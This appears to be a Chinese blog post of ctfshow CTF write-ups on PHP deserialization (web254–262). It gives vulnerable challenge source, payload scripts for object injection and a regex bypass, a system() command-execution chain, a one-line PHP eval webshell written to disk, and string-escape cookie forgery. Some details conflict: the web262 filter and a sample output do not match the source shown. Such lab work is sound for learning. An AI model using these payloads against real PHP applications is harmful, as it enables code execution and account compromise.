ctfshow :web入门 反序列化

一直不太懂php反序列化,总感觉很难,但是这是一个不得不越过的坎儿。。。。。。

web254

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

没有反序列化,直接传入两个参数,实例化对象,然后调用函数进行判断,所以我们传入的参数和他原值相等即可。

playload:?username=xxxxxx&password=xxxxxx

web255

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

反序列化的点在cookie的user中,我们需要让$isVip=true

构造函数,构造序列化

<?php
class ctfShowUser{
    public $username='1';
    public $password='2';
    public $isVip=True;
}
$c=new ctfShowUser();
echo urlencode(serialize($c));

由于cookie中将"作为截断符号,所需要编码绕过,这里采用url编码

user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%222%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

 

 

web256

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

额,一开始没看出和255有啥不一样,最后才发现

            if($this->username!==$this->password){
                    echo "your flag is ".$flag;

必须usrname不等于password,可以直接抄袭255题答案

web257

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

分析代码

public function __construct(){
        $this->class=new info();
    }
public function __destruct(){
        $this->class->getInfo();
    }
创建对象时,会先调用__construct(),该方法会创建一个新的对象,当对象呗销毁时,会执行__destruct(),该方法会调用刚才创建好的对象class里的getInfo()方法。我们需要做的就是让$this->class是backDoor类的实例化就可以了,然后在backDoor类里修改我想要执行的代码。
playload:
<?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    private $code="system('cat flag.php');";
}
echo urlencode(serialize(new ctfShowUser()));


?>
//输出:

O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

 

 

 

web258

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

相比于上一题

if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }

这里用了正则来过滤O:\d+(d代表数字),绕过的方法就是加上+,即O:+11:,O:+8;这样就可以绕过。

构造playload:

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
    public $class = 'backDoor';
    public function __construct(){
        $this->class=new backDoor();
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class backDoor{
    public $code="system('cat flag.php');";
    public function getInfo(){
        eval($this->code);
    }
}
    
$a = new ctfShowUser();
$a = serialize($a);
$a= str_replace('O:','O:+',$a);
echo urlencode($a);
?>

 

 

web259

还没看懂,暂时先略过

web260

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

从传入的参数匹配字符串ctfshow_i_love_36D,如果匹配成功则返回flag,字符串序列化后返回的就是本身,所以直接get传入ctfshow_i_love_36D

playload:

?ctfshow=ctfshow_i_love_36D

web261

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法, 则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。

首先关注到:

 public function __invoke(){
eval($this->code); }

调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。但是这里并没有找到什么方法可以进入该方法。

    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }

所以我们只能利用__destruct()方法,当对象被销毁时,会自动调用该方法。我们可以写入一句话木马,然后拿到shell,获取flag

playload:

<?php
class ctfshowvip{
    public $username;
    public $password;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
}
$a=new ctfshowvip('rce.php','<?php eval($_POST[1]);?>');
echo serialize($a);
//O:10:"ctfshowvip":2:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";}

因为反序列化时会调用__unserialize() ,这里将username和password字符串连接后复制个code,当执行__destruct()时,先判断code是否等于0x36d(十进制为877),所以连接后的字符串要等于877,因此将username赋值为877.php即可绕过。

然后蚁剑连接,拿到shell

 

web262

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

传入三个参数,然后创建对象message,将该对象序列化后,然后将序列化后字符串中的fuck替换为loveU。

 

 然后我们访问message.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

 大概了解了本题考点,字符串溢出,通过funk替换为IoveU溢出一个字符,所以我们通过构造将token的值改为admin,然后传入cookie获得flag。

我们需要将这些字符串溢出 ";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";},共62个字符,所以构造如下playload

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='admin';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
function filter($msg){
return str_replace('funk','IoveU',$msg);
}

$msg1= new message('funkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunkfunk";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');
//O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
$msg11= serialize($msg1); 

$msg2=filter($msg11); 

//echo $msg2;
echo base64_encode($msg2);
 ?>

构造得到:

O:7:"message":4:{s:4:"from";s:310:"IoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveUIoveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}

然后base64编码得到:

Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO3M6MzEwOiJJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVSW92ZVVJb3ZlVUlvdmVVIjtzOjM6Im1zZyI7czoxOiJiIjtzOjI6InRvIjtzOjE6ImMiO3M6NToidG9rZW4iO3M6NToiYWRtaW4iO30iO3M6MzoibXNnIjtzOjE6ImIiO3M6MjoidG8iO3M6MToiYyI7czo1OiJ0b2tlbiI7czo1OiJhZG1pbiI7fQ==

传入cookie,获得flag

这道题还有一个非预期解,因为token是可控的,所以我们构造时,直接将token赋值为admin传入cookie即可得到flag。

playload如下:

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='admin';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
$msg =new message('a','b','c');
echo base64_encode(serialize($msg));
?>

获得flag

 

posted @ 2021-11-14 23:44  微草wd  阅读(373)  评论(0编辑  收藏  举报